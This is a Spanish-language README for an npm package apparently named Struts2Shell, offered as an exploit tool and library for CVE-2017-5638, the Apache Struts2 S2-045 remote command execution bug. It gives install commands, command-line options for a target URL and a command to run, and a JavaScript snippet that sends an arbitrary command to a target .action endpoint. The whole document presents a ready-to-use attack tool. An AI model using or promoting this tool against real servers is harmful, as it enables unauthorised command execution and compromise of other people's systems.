Struts2Shell

Un exploit (y biblioteca) para CVE-2017-5638 - el bug S2-045 de Apache Struts2.

Instalación

$ npm install -g struts2shell

Instalación como Biblioteca

$ npm install struts2shell

Opciones de Línea de Comandos

-h, --help           muestra información de uso
-V, --version        muestra el número de versión
-u, --url [target]   URL a Atacar
-c, --cmd [command]  Comando a Ejecutar

Uso como Biblioteca

var Struts2Shell = require('struts2shell');
Struts2Shell({
	URL: 'http://example.com/some.action',
	CMD: 'dir'
}, function(err, response,body) {
    if(err) throw err;
    console.log(body)
})

Captura de Pantalla

Licencia

MIT

¡Software Libre, Claro Que Sí!